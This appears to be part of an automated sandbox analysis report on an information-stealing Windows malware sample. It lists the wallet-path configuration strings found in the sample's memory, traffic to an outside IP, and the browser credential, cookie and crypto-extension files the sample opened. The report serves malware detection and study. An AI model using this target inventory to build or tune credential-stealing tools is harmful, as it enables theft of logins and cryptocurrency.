Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.5:50064 -> 34.118.84.150:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

